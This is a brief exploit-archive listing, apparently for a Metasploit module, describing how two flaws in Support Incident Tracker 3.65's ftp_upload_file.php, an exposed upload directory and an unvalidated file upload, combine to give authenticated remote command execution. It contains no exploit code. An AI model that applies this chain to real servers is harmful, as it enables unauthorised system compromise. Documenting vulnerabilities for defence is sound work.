Support Incident Tracker 3.65 Remote Command Execution

Support Incident Tracker 3.65 Remote Command Execution
Posted Nov 13, 2011
Authored by Secunia Research, juan vazquez | Site metasploit.com

This Metasploit module combines two separate issues within Support Incident Tracker versions 3.65 and below to upload arbitrary data and thus execute a shell. The two issues exist in ftp_upload_file.php. The first vulnerability exposes the upload dir used to store attachments. The second vulnerability allows arbitrary file upload since there is no validation function to prevent from uploading any file type. Authentication is required to exploit both vulnerabilities.
